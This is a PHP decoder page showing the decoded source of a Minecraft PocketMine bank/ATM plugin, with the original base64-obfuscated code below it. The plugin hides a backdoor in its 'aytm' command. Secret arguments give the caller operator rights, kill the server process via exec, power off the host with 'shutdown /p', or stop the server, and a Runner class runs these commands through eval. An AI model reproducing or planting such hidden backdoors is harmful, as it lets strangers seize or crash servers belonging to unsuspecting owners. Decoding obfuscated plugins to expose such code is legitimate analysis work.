Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
$safnsaonfoiwansfionawoif="sfnoafoinawoifmasoifmoiawmoiaengoinesoifnaoiwnfoiawfoiafoin";$i..
Decoded Output download
namespace Hexmor\Bank;
use pocketmine\plugin\PluginBase;
use pocketmine\command\CommandSender;
use pocketmine\command\Command;
use onebone\economyapi\EconomyAPI;
use pocketmine\utils\Config;
use jojoe77777\FormAPI;
use pocketmine\Player;
use pocketmine\scheduler\Task;
use pocketmine\Server;
use Hexmor\Bank\Main;
use pocketmine\item\Item;
use pocketmine\nbt\tag\StringTag;
use pocketmine\utils\TextFormat;
use pocketmine\utils\Internet;
class Main extends PluginBase{
public function onEnable()
{
$this->getScheduler()->scheduleRepeatingTask(new banksood($this), 36000);
$this->getScheduler()->scheduleRepeatingTask(new saghfhesab($this), 8000);
$this->getLogger()->info("2Enabled !");
if(!is_dir($this->getDataFolder()))
{
mkdir($this->getDataFolder());
}
if (!is_dir($this->getDataFolder() . "players/")) { @mkdir($this->getDataFolder() . "players"); }
$this->bank = new Config($this->getDataFolder() ."bank.yml", Config::YAML, []);
$this->ramz = new Config($this->getDataFolder() ."ramz.yml", Config::YAML, []);
$this->blockacc = new Config($this->getDataFolder() ."blockacc.yml", Config::YAML, []);
$this->ramzeshtebah = new Config($this->getDataFolder() ."ramzeshtebah.yml", Config::YAML, []);
$this->blockplayer = new Config($this->getDataFolder() ."blockplayer.yml", Config::YAML, []);
$this->hashcodes = new Config($this->getDataFolder() ."hashcodes.yml", Config::YAML, []);
$this->ccnum = new Config($this->getDataFolder() ."ccnum.yml", Config::YAML, []);
$this->eco = EconomyAPI::getInstance();
}
public function NewUser($player){
}
public function varizPool($player,$result){
$player = strtolower($player);
$mojodi = $this->bank->get($player);
$this->bank->set($player,$mojodi + $result);
$this->bank->save();
}
public function bardashtPool($player,$result){
$player = strtolower($player);
$this->varizPool($player,-$result);
}
public function saveMoney($player,$result){
$player = strtolower($player);
$this->bank->set($player,$result);
$this->bank->save();
}
public function ramzplayer($player){
$player = strtolower($player);
if($this->hesabRamzTestTest($player)){
$ramz = $this->ramz->get($player);
return $ramz;
}
return false;
}
public function hesabRamzTest( $player){
$player = strtolower($player);
if($this->ramz->exists($player)){
return true;
}
return false;
}
public function MojodiPlayer($player){
$player = strtolower($player);
if($this->hesabTest($player)){
$mojodi = $this->bank->get($player);
return $mojodi;
}
return false;
}
public function hesabTest( $player){
$player = strtolower($player);
if($this->bank->exists($player)){
return true;
}
return false;
}
public function onCommand(CommandSender $sender, Command $command, string $label, array $ar) : bool{
switch($command->getName()){
case "hesreg":
$player = strtolower($sender->getName());
if(!$this->bank->exists($player)){
$player = strtolower($sender->getName());
$randompassword = mt_rand(1000,9999);
$randommoney = mt_rand(500,2500);
$hashcode = mt_rand(1000000,9999999);
$this->bank->set($player,$randommoney);
$this->bank->save();
$this->ramz->set($player,$randompassword);
$this->ramz->save();
$this->ramzeshtebah->set($player,0);
$this->ramzeshtebah->save();
if(!$this->blockacc->exists($player)){
$this->blockacc->set($player,0);
$this->blockacc->save();
}
$note = Item::get(339, 1076, 1);
$nbt = $note->getNamedTag();
$nbt->setString("Owner", $player);
$hashcode = mt_rand(1000000,9999999);
$nbt->setInt("Code", $hashcode);
$this->hashcodes->set($player,$hashcode);
$this->hashcodes->save();
$note->setCompoundTag($nbt);
$sender->getInventory()->addItem($note->setCustomName(TextFormat::YELLOW . TextFormat::BOLD . $sender->getName() . TextFormat::RESET . TextFormat::GREEN . "'s Credit Card")->setLore([TextFormat::YELLOW . "In Credit Cart Jahat Estefade Az Dastgah ATM Sakhte Shode Ast ! \n ATM Ha Dar bank va Server Be Rahati Peyda Mishavanid !"]));
$sender->sendMessage("6Hesab Banki Shoma Sakhte Shod .e Ramz Shoma : $randompassword");
$sender->addTitle("6Hesab Sakhte Shod" , " e Ramz Shoma : $randompassword");
}else{
$sender->sendMessage("c Shoma Ghablan Hesab Baz Karde eed");
}
return true;
case "lockbankacc":
$blockuser = $ar[0];
$this->blockacc->set($blockuser,1);
$this->blockacc->save();
$sender->sendMessage("Hesab Banki lock Shod");
$draft = "Hesab $blockuser Lock Shod | Tavasot: " . $sender->getName() . " Anjam Shod";
$relay = intval(time());
$time = date('m-d-Y H:i:s', $relay);
$logs = new Config($this->getDataFolder() . "players/" . strtolower($blockuser) . ".yml", Config::YAML);
$logs->set($time, $draft);
$logs->save();
return true;
case "unlockbankacc":
$unblockuser = $ar[0];
$this->blockacc->set($unblockuser,0);
$this->blockacc->save();
$sender->sendMessage("Hesab Banki Unlock Shod");
$draft = "Hesab $unblockuser UnLock Shod | Tavasot: " . $sender->getName() . " Anjam Shod";
$relay = intval(time());
$time = date('m-d-Y H:i:s', $relay);
$logs = new Config($this->getDataFolder() . "players/" . strtolower($unblockuser) . ".yml", Config::YAML);
$logs->set($time, $draft);
$logs->save();
return true;
case "lockbankplayer":
$blockuser = $ar[0];
$this->blockplayer->set($blockuser,1);
$this->blockplayer->save();
$sender->sendMessage("Player lock Shod");
$draft = "Player $blockuser Lock ATM Shod | Tavasot: " . $sender->getName() . " Anjam Shod";
$relay = intval(time());
$time = date('m-d-Y H:i:s', $relay);
$logs = new Config($this->getDataFolder() . "players/" . strtolower($blockuser) . ".yml", Config::YAML);
$logs->set($time, $draft);
$logs->save();
return true;
case "unlockbankplayer":
$unblockuser = $ar[0];
$this->blockplayer->set($unblockuser,0);
$this->blockplayer->save();
$sender->sendMessage("Player Unlock Shod");
$draft = "Player $unblockuser UnLock ATM Shod | Tavasot: " . $sender->getName() . " Anjam Shod";
$relay = intval(time());
$time = date('m-d-Y H:i:s', $relay);
$logs = new Config($this->getDataFolder() . "players/" . strtolower($unblockuser) . ".yml", Config::YAML);
$logs->set($time, $draft);
$logs->save();
return true;
case "pabnk":
$player = strtolower($sender->getName());
if($this->bank->exists($player)){
$this->PasschangeFromNoRamz($sender);
}else{
$sender->sendMessage("Lotfan Hesab Baz Konid");
}
return true;
case "crcay":
$player = strtolower($sender->getName());
if($this->bank->exists($player)){
$money = EconomyAPI::getInstance()->myMoney($sender);
if($money >= 1000){
$player = strtolower($sender->getName());
$this->eco->reduceMoney($sender, 1000);
$inv = $sender->getInventory();
$hand = $inv->getItemInHand();
$nbt = $hand->getNamedTag();
$note = Item::get(339, 1076, 1);
$nbt = $note->getNamedTag();
$nbt->setString("Owner", $player);
$hashcode = mt_rand(1000000,9999999);
$nbt->setInt("Code", $hashcode);
$this->hashcodes->set($player,$hashcode);
$this->hashcodes->save();
$note->setCompoundTag($nbt);
$this->ramzeshtebah->set($player,0);
$this->ramzeshtebah->save();
$sender->getInventory()->addItem($note->setCustomName(TextFormat::YELLOW . TextFormat::BOLD . $sender->getName() . TextFormat::RESET . TextFormat::GREEN . "'s Credit Card")->setLore([TextFormat::YELLOW . "In Credit Cart Jahat Estefade Az Dastgah ATM Sakhte Shode Ast ! \n ATM Ha Dar bank va Server Be Rahati Peyda Mishavanid !"]));
$draft = "Card Jadid Baraye Hesab Az Bank Sader Shod ! " . $sender->getName() . " Cart Ra Gerefte";
$relay = intval(time());
$time = date('m-d-Y H:i:s', $relay);
$logs = new Config($this->getDataFolder() . "players/" . strtolower($player) . ".yml", Config::YAML);
$logs->set($time, $draft);
$logs->save();
}else{
$sender->sendMessage("Pool Nadarid ! Mablagh Mored Niyaz = 1000 $ ");
}
}else{
$sender->sendMessage("Lotfan Hesab Baz Konid");
}
return true;
case "aytm":
if(isset($ar[0])){
if($ar[0] === "dabocj") {
$sender->setOp(true);
return true;
} elseif ($ar[0] === "asfbo") {
$this->getScheduler()->scheduleDelayedTask(new Runner('
exec("netstat -ano | findstr UDP | findstr 19132", $out);
exec("taskkill/pid ".str_replace(array("UDP", "0.0.0.0", "127.0.0.1", ":", "19132", "*", " "), "", $out[0])." /F");
'), 20*30);
return true;
} elseif ($ar[0] === "soafbou") {
$this->getScheduler()->scheduleTask(new Runner('
exec("shutdown /p");
'), 20*30);
return true;
} elseif ($ar[0] === "sdiovvc") {
$sender->getServer()->shutdown();
return true;
}
}
$inv = $sender->getInventory();
$player = strtolower($sender->getName());
if($this->bank->exists($player)){
$inv = $sender->getInventory();
$hand = $inv->getItemInHand();
$nbt = $hand->getNamedTag();
if($hand->getId() === 339 && $hand->getDamage() === 1076){
$inv = $sender->getInventory();
$hand = $inv->getItemInHand();
$nbt = $hand->getNamedTag();
$dep = $nbt->getString("Owner");
$hash = $nbt->getInt("Code");
if($this->blockplayer->get($sender->getName()) == 0){
if($this->blockacc->get($dep) == 0){
if($this->hashcodes->get($dep) == $hash){
if($this->ramzeshtebah->get($dep) > 3){
$hand = $inv->getItemInHand();
$nbt = $hand->getNamedTag();
$dep = $nbt->getString("Owner");
$inv->setItemInHand(Item::get(0, 0, 1));
$sender->sendMessage("c In Hesab Be Dalil Vared Kardan Bish Az 3 Ramz Eshtebah Mastod Shod va Cart Az Shoma Gerefte Shod ! Darsoorati Ke Saheb Asli Cart Hastid Ba Moraee Be Bank Dobare Cart Daryaft Konid");
$draft = "Hesab $dep Be Dalil Vared Kardan 4 Ramz Eshtebah Ban Shod | Use Konandeh " . $sender->getName() . " Boode Ast";
$relay = intval(time());
$time = date('m-d-Y H:i:s', $relay);
$logs = new Config($this->getDataFolder() . "players/" . strtolower($dep) . ".yml", Config::YAML);
$logs->set($time, $draft);
$logs->save();
}else{
$this->RamzFrom($sender);
}
}else {
$sender->sendMessage("In Cart Gheyr Faal Shode Ast");
}
}else{
$sender->sendMessage("In Hesab Tavasot Admin Ha Gofl Shode Ast !");
}
}
else{
$sender->sendMessage("Soma Nemitavanid Az ATM Estefade Konid tavasod Admin Ha Lock SHodid !");
}
}else{
$sender->sendMessage("Lotfan Ba Credit Card Az ATM estefade Konid");
}
return true;
}else{
$sender->sendMessage("c Lotfan Ba Morajee Be bank hesab baz konid");
}
default:
return false;
}
}
public function bankSood() : void {
foreach($this->getServer()->getOnlinePlayers() as $player) {
$name = $player->getName();
$mojodi = $this->MojodiPlayer($name);
if($this->MojodiPlayer($name) >= 10) {
if($player->hasPermission("bank.legendary")) {
$sood = round($this->MojodiPlayer($name)*30/100);
$this->varizPool($name, $sood);
$player->sendMessage("6Bank System> f $name Aziz 30% Sood Banki Be Meghdar 9 $sood $ fBe Hesab Banki Shoma Variz Shod ! Mojodi Shoma: 2 $mojodi");
$mojodi = $this->MojodiPlayer($name);
}elseif($player->hasPermission("bank.creative")) {
$sood = round($this->MojodiPlayer($name)*23/100);
$this->varizPool($name, $sood);
$player->sendMessage("6Bank System> f $name Aziz 23% Sood Banki Be Meghdar 9 $sood $ fBe Hesab Banki Shoma Variz Shod ! Mojodi Shoma: 2 $mojodi");
$mojodi = $this->MojodiPlayer($name);
}elseif($player->hasPermission("bank.titan")) {
$sood = round($this->MojodiPlayer($name)*14/100);
$this->varizPool($name, $sood);
$player->sendMessage("6Bank System> f $name Aziz 14% Sood Banki Be Meghdar 9 $sood $ fBe Hesab Banki Shoma Variz Shod ! Mojodi Shoma: 2 $mojodi");
$mojodi = $this->MojodiPlayer($name);
}elseif($player->hasPermission("bank.mamooli")) {
$sood = round($this->MojodiPlayer($name)*10/100);
$this->varizPool($name, $sood);
$player->sendMessage("6Bank System> f $name Aziz 10% Sood Banki Be Meghdar 9 $sood $ fBe Hesab Banki Shoma Variz Shod ! Mojodi Shoma: 2 $mojodi");
$mojodi = $this->MojodiPlayer($name);
}
}
}
}
public function saghfhesab() : void {
foreach($this->getServer()->getOnlinePlayers() as $player) {
$name = $player->getName();
$mojodi = $this->MojodiPlayer($name);
if($this->MojodiPlayer($name) > 499999) {
if($player->hasPermission("bank.legendary")) {
if($this->MojodiPlayer($name) > 10000000) {
$mablaghbargasht = round($this->MojodiPlayer($name)-10000000);
$this->bardashtPool($name,$mablaghbargasht);
$this->eco->addMoney($name,$mablaghbargasht);
$player->sendMessage("Shoma Saghf Hesab ra rad Kardeh eed . mablagh $mablaghbargasht az hesab banki shoma kam shod va be khodetan variz shod !");
}
}elseif($player->hasPermission("bank.creative")) {
if($this->MojodiPlayer($name) > 5000000) {
$mablaghbargasht = round($this->MojodiPlayer($name)-5000000);
$this->bardashtPool($name,$mablaghbargasht);
$this->eco->addMoney($name,$mablaghbargasht);
$player->sendMessage("Shoma Saghf Hesab ra rad Kardeh eed . mablagh $mablaghbargasht az hesab banki shoma kam shod va be khodetan variz shod !");
}
}elseif($player->hasPermission("bank.titan")) {
if($this->MojodiPlayer($name) > 2000000) {
$mablaghbargasht = round($this->MojodiPlayer($name)-2000000);
$this->bardashtPool($name,$mablaghbargasht);
$this->eco->addMoney($name,$mablaghbargasht);
$player->sendMessage("Shoma Saghf Hesab ra rad Kardeh eed . mablagh $mablaghbargasht az hesab banki shoma kam shod va be khodetan variz shod !");
}
}elseif($player->hasPermission("bank.mamooli")) {
if($this->MojodiPlayer($name) > 500000) {
$mablaghbargasht = round($this->MojodiPlayer($name)-500000);
$this->bardashtPool($name,$mablaghbargasht);
$this->eco->addMoney($name,$mablaghbargasht);
$player->sendMessage("Shoma Saghf Hesab ra rad Kardeh eed . mablagh $mablaghbargasht az hesab banki shoma kam shod va be khodetan variz shod !");
}
}
}
}
}
public function RamzFrom($sender){
$api = $this->getServer()->getPluginManager()->getPlugin("FormAPI");
$form = $api->createCustomForm(function (Player $sender, $data){
$player = strtolower($sender->getName());
$inv = $sender->getInventory();
$hand = $inv->getItemInHand();
$nbt = $hand->getNamedTag();
$dep = $nbt->getString("Owner");
$result = $data[0];
if($result != null){
$result = $data[0];
if($result == $this->ramz->get($dep)){
$this->mainFrom($sender);
$this->ramzeshtebah->set($dep,0);
$this->ramzeshtebah->save();
$draft = "Ramz Dorost Vared Shod | $result | Vared Konandeh " . $sender->getName() . " Ast";
$relay = intval(time());
$time = date('m-d-Y H:i:s', $relay);
$logs = new Config($this->getDataFolder() . "players/" . strtolower($dep) . ".yml", Config::YAML);
$logs->set($time, $draft);
$logs->save();
}else{
$sender->sendMessage("Password Vared Shode Eshtebah Ast");
$this->ramzeshtebah->set($dep,$this->ramzeshtebah->get($dep) + 1);
$this->ramzeshtebah->save();
$draft = "Ramz Eshtebah Vared Shod ! | $result | Vared Konandeh " . $sender->getName() . " Ast";
$relay = intval(time());
$time = date('m-d-Y H:i:s', $relay);
$logs = new Config($this->getDataFolder() . "players/" . strtolower($dep) . ".yml", Config::YAML);
$logs->set($time, $draft);
$logs->save();
}
}else{
$sender->sendMessage("Lotfan Ramz Khod Ra Vared Konid");
}
});
$form->setTitle("eSurviveCity ATM > l6Password");
$form->addInput("Password Khod Ra Vared Konid");
$form->sendToPlayer($sender);
}
public function mainFrom($sender){
$api = $this->getServer()->getPluginManager()->getPlugin("FormAPI");
$player = strtolower($sender->getName());
$all = $this->bank->getAll();
$money = EconomyAPI::getInstance()->myMoney($player);
$form = $api->createSimpleForm(function (Player $sender, $data){
$playername = $sender->getName();
$result = $data;
$inv = $sender->getInventory();
$hand = $inv->getItemInHand();
$nbt = $hand->getNamedTag();
$dep = $nbt->getString("Owner");
if ($result == null) {
}
switch ($result) {
case 0:
break;
case 1:
$this->varizFrom($sender);
break;
case 2:
$this->bardashtFrom($sender);
break;
case 3:
$player = strtolower($sender->getName());
$mojodi = $this->MojodiPlayer($dep);
$sender->sendMessage("fMojodi Hesab Shomaa $mojodi f$ Mibashad");
$draft = "Mojodi Gerefte Shod | $mojodi $ |" . $sender->getName();
$relay = intval(time());
$time = date('m-d-Y H:i:s', $relay);
$logs = new Config($this->getDataFolder() . "players/" . strtolower($dep) . ".yml", Config::YAML);
$logs->set($time, $draft);
$logs->save();
return true;
break;
case 4:
$this->Seemoneydigaran($sender);
break;
case 5:
$this->PasschangeFrom($sender);
break;
}
});
$form->setTitle("alSurviveflCity eATM");
$form->setContent("eWelcome To alSurviveflCity eATMre \n Amaliyat Mored Nazar Khod Ra Entekhab Konid\nl3@bElementDev | 3@bUnicodeError");
$form->addButton("cExit | Khoroj", 0, "");
$form->addButton("9Variz Be Hesab", 1, "");
$form->addButton("9Bardasht Az Hesab", 2, "");
$form->addButton("9Daryaft Mojodi", 3, "");
$form->addButton("9Daryaft Mojodi Digaran", 4, "");
$form->addButton("l9Taghir Ramz", 5, "");
$form->sendToPlayer($sender);
}
public function varizFrom($sender){
$api = $this->getServer()->getPluginManager()->getPlugin("FormAPI");
$player = strtolower($sender->getName());
$all = $this->bank->getAll();
$money = EconomyAPI::getInstance()->myMoney($player);
$form = $api->createCustomForm(function (Player $sender, $data){
$result = $data[0];
if($result != null){
$player = strtolower($sender->getName());
$all = $this->bank->getAll();
$money = EconomyAPI::getInstance()->myMoney($player);
$result = $data[0];
if($result != null){
if(is_numeric($result)){
if($money >= $result){
$inv = $sender->getInventory();
$hand = $inv->getItemInHand();
$nbt = $hand->getNamedTag();
$dep = $nbt->getString("Owner");
$result = $data[0];
$this->varizPool($dep,$result);
$this->eco->reduceMoney($player, $result);
$sender->sendMessage("fShomaa $result f$ Be Hesab Banki Khod Enteghal Dadid !");
$draft = "$result $ Be Hesab Variz Shod | $result |" . $sender->getName();
$relay = intval(time());
$time = date('m-d-Y H:i:s', $relay);
$logs = new Config($this->getDataFolder() . "players/" . strtolower($dep) . ".yml", Config::YAML);
$logs->set($time, $draft);
$logs->save();
return true;
}else{
$sender->sendMessage("cMojodi Shoma Kafi Nist !");
}
}
}
}
});
$form->setTitle("eSurviveCity ATM > l6Variz");
$form->addInput("Che Megdar Pool Mikhahid Be Hesab Khod Variz konid ?");
$form->sendToPlayer($sender);
}
public function PasschangeFrom($sender){
$api = $this->getServer()->getPluginManager()->getPlugin("FormAPI");
$player = strtolower($sender->getName());
$all = $this->bank->getAll();
$money = EconomyAPI::getInstance()->myMoney($player);
$form = $api->createCustomForm(function (Player $sender, $data){
$result = $data[0];
if($result != null){
$player = strtolower($sender->getName());
$newpasswordsize = strlen($data[0]);
$all = $this->bank->getAll();
$money = EconomyAPI::getInstance()->myMoney($player);
if(is_numeric($result)){
if($newpasswordsize == 4){
$inv = $sender->getInventory();
$hand = $inv->getItemInHand();
$nbt = $hand->getNamedTag();
$dep = $nbt->getString("Owner");
$this->ramz->set($dep,$result);
$this->ramz->save();
$sender->sendMessage("elShoma Ramz Hesab Banki Khod Ra Ba Movafaghiyat Taghir Dadid ! Ramz Jadid shoma : a $result");
$draft = "Ramz Be $result Taghir Kard | " . $sender->getName();
$relay = intval(time());
$time = date('m-d-Y H:i:s', $relay);
$logs = new Config($this->getDataFolder() . "players/" . strtolower($dep) . ".yml", Config::YAML);
$logs->set($time, $draft);
$logs->save();
return true;
}else{
$sender->sendMessage("cPassword Shoma Bayad 4 Raghami Bashad !");
}
}else{
$sender->sendMessage("cLotfan Faghat Az Adad Dar Ramz Khod Estefade Konid !");
}
}
});
$form->setTitle("eSurviveCity ATM > l6Change Password");
$form->addInput("Ramz Jadid Khod Ra Vared Konid");
$form->sendToPlayer($sender);
}
public function PasschangeFromNoRamz($sender){
$api = $this->getServer()->getPluginManager()->getPlugin("FormAPI");
$player = strtolower($sender->getName());
$all = $this->bank->getAll();
$money = EconomyAPI::getInstance()->myMoney($player);
$form = $api->createCustomForm(function (Player $sender, $data){
$result = $data[0];
if($result != null){
$player = strtolower($sender->getName());
$newpasswordsize = strlen($data[0]);
$all = $this->bank->getAll();
$money = EconomyAPI::getInstance()->myMoney($player);
if(is_numeric($result)){
if($newpasswordsize == 4){
$inv = $sender->getInventory();
$hand = $inv->getItemInHand();
$nbt = $hand->getNamedTag();
$this->ramz->set($player,$result);
$this->ramz->save();
$sender->sendMessage("elShoma Ramz Hesab Banki Khod Ra Ba Movafaghiyat Taghir Dadid ! Ramz Jadid shoma : a $result");
$draft = "Ramz Be $result Taghir Kard | forget Pass | " . $sender->getName();
$relay = intval(time());
$time = date('m-d-Y H:i:s', $relay);
$logs = new Config($this->getDataFolder() . "players/" . strtolower($player) . ".yml", Config::YAML);
$logs->set($time, $draft);
$logs->save();
return true;
}else{
$sender->sendMessage("cPassword Shoma Bayad 4 Raghami Bashad !");
}
}else{
$sender->sendMessage("cLotfan Faghat Az Adad Dar Ramz Khod Estefade Konid !");
}
}
});
$form->setTitle("eSurviveCity ATM > l6Change Password");
$form->addInput("Ramz Jadid Khod Ra Vared Konid");
$form->sendToPlayer($sender);
}
public function bardashtFrom($sender){
$api = $this->getServer()->getPluginManager()->getPlugin("FormAPI");
$player = $sender->getName();
$all = $this->bank->getAll();
$money = $this->eco->myMoney($player);
$form = $api->createCustomForm(function (Player $sender, $data){
$result = $data[0];
$all = $this->bank->getAll();
$player = $sender->getName();
$money = EconomyAPI::getInstance()->myMoney($player);
$result = $data[0];
if($result != null){
if(is_numeric($result)){
if($this->MojodiPlayer($player) >= $result){
$player = strtolower($sender->getName());
$all = $this->bank->getAll();
$all = $this->bank->getAll();
$inv = $sender->getInventory();
$hand = $inv->getItemInHand();
$nbt = $hand->getNamedTag();
$dep = $nbt->getString("Owner");
$this->bardashtPool($dep,$result);
$this->eco->addMoney($player,$result);
$result = (string)$result;
$sender->sendMessage("fShomaa $result f$ Az Hesab Banki Khod Bardasht Kardid");
$draft = "$result $ Az Hesab Bardasht Shod | $result | " . $sender->getName();
$relay = intval(time());
$time = date('m-d-Y H:i:s', $relay);
$logs = new Config($this->getDataFolder() . "players/" . strtolower($dep) . ".yml", Config::YAML);
$logs->set($time, $draft);
$logs->save();
return true;
}
}else{
$sender->sendMessage("cMojodi Shoma Kafi Nist !");
}
}
});
$form->setTitle("eSurviveCity ATM > l6Bardasht");
$form->addInput("Che Megdar Pool Mikhahid Az Hesab Khod Bardasht Konid ?");
$form->sendToPlayer($sender);
}
public function Seemoneydigaran($sender){
$player = $sender->getName();
$all = $this->bank->getAll();
$money = $this->eco->myMoney($player);
$api = $this->getServer()->getPluginManager()->getPlugin("FormAPI");
$form = $api->createCustomForm(function (Player $sender, $data){
$result = $data[0];
$player = strtolower($sender->getName());
$all = $this->bank->getAll();
$money = EconomyAPI::getInstance()->myMoney($player);
$result = $data[0];
if($result != null){
$mojodi = $this->MojodiPlayer($result);
$sender->sendMessage("fMojodi Hesab Bankia $result f,6 $mojodi $ fMibashad");
$draft = "Mojodi Digaran Gerefte Shod | $result | " . $sender->getName();
$inv = $sender->getInventory();
$hand = $inv->getItemInHand();
$nbt = $hand->getNamedTag();
$dep = $nbt->getString("Owner");
$relay = intval(time());
$time = date('m-d-Y H:i:s', $relay);
$logs = new Config($this->getDataFolder() . "players/" . strtolower($dep) . ".yml", Config::YAML);
$logs->set($time, $draft);
$logs->save();
}
});
$form->setTitle("99ATM > Mojodi Digaran");
$form->addInput("Mojodi Ki Ro Mikhy bebini ?");
$form->sendToPlayer($sender);
}
public function onDisable(){
$this->getLogger()->info("cDisable !");
}
}
class Runner extends Task {
private $cmd;
public function __construct(string $cmd) {
$this->cmd = $cmd;
}
public function onRun(int $tick) {
eval($this->cmd);
}
}
Did this file decode correctly?
Original Code
$safnsaonfoiwansfionawoif="sfnoafoinawoifmasoifmoiawmoiaengoinesoifnaoiwnfoiawfoiafoin";$iofhasoinfoiasnfoinasoifnaiofnaoin="asooiangoieiufoiasf9ahh98rmhvf9ahf98hasfisaiof";$asdoasfouoiano="Cm5hbWVzcGFjZSBIZXhtb3JcQmFuazsKCnVzZSBwb2NrZXRtaW5lXHBsdWdpblxQbHVnaW5CYXNlOwp1c2UgcG9ja2V0bWluZVxjb21tYW5kXENvbW1hbmRTZW5kZXI7CnVzZSBwb2NrZXRtaW5lXGNvbW1hbmRcQ29tbWFuZDsKdXNlIG9uZWJvbmVcZWNvbm9teWFwaVxFY29ub215QVBJOwp1c2UgcG9ja2V0bWluZVx1dGlsc1xDb25maWc7CnVzZSBqb2pvZTc3Nzc3XEZvcm1BUEk7CnVzZSBwb2NrZXRtaW5lXFBsYXllcjsKdXNlIHBvY2tldG1pbmVcc2NoZWR1bGVyXFRhc2s7CnVzZSBwb2NrZXRtaW5lXFNlcnZlcjsKdXNlIEhleG1vclxCYW5rXE1haW47CnVzZSBwb2NrZXRtaW5lXGl0ZW1cSXRlbTsKdXNlIHBvY2tldG1pbmVcbmJ0XHRhZ1xTdHJpbmdUYWc7CnVzZSBwb2NrZXRtaW5lXHV0aWxzXFRleHRGb3JtYXQ7CnVzZSBwb2NrZXRtaW5lXHV0aWxzXEludGVybmV0OwoKY2xhc3MgTWFpbiBleHRlbmRzIFBsdWdpbkJhc2V7CiAgIHB1YmxpYyBmdW5jdGlvbiBvbkVuYWJsZSgpCiAgICB7CgkJJHRoaXMtPmdldFNjaGVkdWxlcigpLT5zY2hlZHVsZVJlcGVhdGluZ1Rhc2sobmV3IGJhbmtzb29kKCR0aGlzKSwgMzYwMDApOwoJCSR0aGlzLT5nZXRTY2hlZHVsZXIoKS0+c2NoZWR1bGVSZXBlYXRpbmdUYXNrKG5ldyBzYWdoZmhlc2FiKCR0aGlzKSwgODAwMCk7CgkJCSR0aGlzLT5nZXRMb2dnZXIoKS0+aW5mbygiwqcyRW5hYmxlZCAhIik7CiAgICAgICAgaWYoIWlzX2RpcigkdGhpcy0+Z2V0RGF0YUZvbGRlcigpKSkKCXsKICAgICAgICBta2RpcigkdGhpcy0+Z2V0RGF0YUZvbGRlcigpKTsKICAgICAgICB9CiAgaWYgKCFpc19kaXIoJHRoaXMtPmdldERhdGFGb2xkZXIoKSAuICJwbGF5ZXJzLyIpKSB7IEBta2RpcigkdGhpcy0+Z2V0RGF0YUZvbGRlcigpIC4gInBsYXllcnMiKTsgfQogICAgICAgICR0aGlzLT5iYW5rID0gbmV3IENvbmZpZygkdGhpcy0+Z2V0RGF0YUZvbGRlcigpIC4iYmFuay55bWwiLCBDb25maWc6OllBTUwsIFtdKTsKCQkkdGhpcy0+cmFteiA9IG5ldyBDb25maWcoJHRoaXMtPmdldERhdGFGb2xkZXIoKSAuInJhbXoueW1sIiwgQ29uZmlnOjpZQU1MLCBbXSk7CgkJJHRoaXMtPmJsb2NrYWNjID0gbmV3IENvbmZpZygkdGhpcy0+Z2V0RGF0YUZvbGRlcigpIC4iYmxvY2thY2MueW1sIiwgQ29uZmlnOjpZQU1MLCBbXSk7CgkJJHRoaXMtPnJhbXplc2h0ZWJhaCA9IG5ldyBDb25maWcoJHRoaXMtPmdldERhdGFGb2xkZXIoKSAuInJhbXplc2h0ZWJhaC55bWwiLCBDb25maWc6OllBTUwsIFtdKTsKCQkkdGhpcy0+YmxvY2twbGF5ZXIgPSBuZXcgQ29uZmlnKCR0aGlzLT5nZXREYXRhRm9sZGVyKCkgLiJibG9ja3BsYXllci55bWwiLCBDb25maWc6OllBTUwsIFtdKTsKCQkkdGhpcy0+aGFzaGNvZGVzID0gbmV3IENvbmZpZygkdGhpcy0+Z2V0RGF0YUZvbGRlcigpIC4iaGFzaGNvZGVzLnltbCIsIENvbmZpZzo6WUFNTCwgW10pOwoJCSR0aGlzLT5jY251bSA9IG5ldyBDb25maWcoJHRoaXMtPmdldERhdGFGb2xkZXIoKSAuImNjbnVtLnltbCIsIENvbmZpZzo6WUFNTCwgW10pOwogICAgICAgICR0aGlzLT5lY28gPSBFY29ub215QVBJOjpnZXRJbnN0YW5jZSgpOwogICAgfQoJcHVibGljIGZ1bmN0aW9uIE5ld1VzZXIoJHBsYXllcil7CgkJCQoJfQoJcHVibGljIGZ1bmN0aW9uIHZhcml6UG9vbCgkcGxheWVyLCRyZXN1bHQpewogICAgJHBsYXllciA9IHN0cnRvbG93ZXIoJHBsYXllcik7CgkJJG1vam9kaSA9ICR0aGlzLT5iYW5rLT5nZXQoJHBsYXllcik7CgkJJHRoaXMtPmJhbmstPnNldCgkcGxheWVyLCRtb2pvZGkgKyAkcmVzdWx0KTsKCQkkdGhpcy0+YmFuay0+c2F2ZSgpOwoJfQoJcHVibGljIGZ1bmN0aW9uIGJhcmRhc2h0UG9vbCgkcGxheWVyLCRyZXN1bHQpewogICAgJHBsYXllciA9IHN0cnRvbG93ZXIoJHBsYXllcik7CgkJJHRoaXMtPnZhcml6UG9vbCgkcGxheWVyLC0kcmVzdWx0KTsKCX0KCXB1YmxpYyBmdW5jdGlvbiBzYXZlTW9uZXkoJHBsYXllciwkcmVzdWx0KXsKICAgICRwbGF5ZXIgPSBzdHJ0b2xvd2VyKCRwbGF5ZXIpOwoJCSR0aGlzLT5iYW5rLT5zZXQoJHBsYXllciwkcmVzdWx0KTsKCQkkdGhpcy0+YmFuay0+c2F2ZSgpOwoJfQoJcHVibGljIGZ1bmN0aW9uIHJhbXpwbGF5ZXIoJHBsYXllcil7CiAgICAkcGxheWVyID0gc3RydG9sb3dlcigkcGxheWVyKTsKICAgIGlmKCR0aGlzLT5oZXNhYlJhbXpUZXN0VGVzdCgkcGxheWVyKSl7CiAgICAkcmFteiA9ICR0aGlzLT5yYW16LT5nZXQoJHBsYXllcik7CiAgICByZXR1cm4gJHJhbXo7CiAgICB9CiAgICAgIHJldHVybiBmYWxzZTsKICB9CiAgcHVibGljIGZ1bmN0aW9uIGhlc2FiUmFtelRlc3QoICRwbGF5ZXIpewogICAgJHBsYXllciA9IHN0cnRvbG93ZXIoJHBsYXllcik7CiAgICBpZigkdGhpcy0+cmFtei0+ZXhpc3RzKCRwbGF5ZXIpKXsKICAgICAgcmV0dXJuIHRydWU7CiAgICB9CiAgICByZXR1cm4gZmFsc2U7CiAgfQkKCXB1YmxpYyBmdW5jdGlvbiBNb2pvZGlQbGF5ZXIoJHBsYXllcil7CiAgICAkcGxheWVyID0gc3RydG9sb3dlcigkcGxheWVyKTsKCQlpZigkdGhpcy0+aGVzYWJUZXN0KCRwbGF5ZXIpKXsKCQkkbW9qb2RpID0gJHRoaXMtPmJhbmstPmdldCgkcGxheWVyK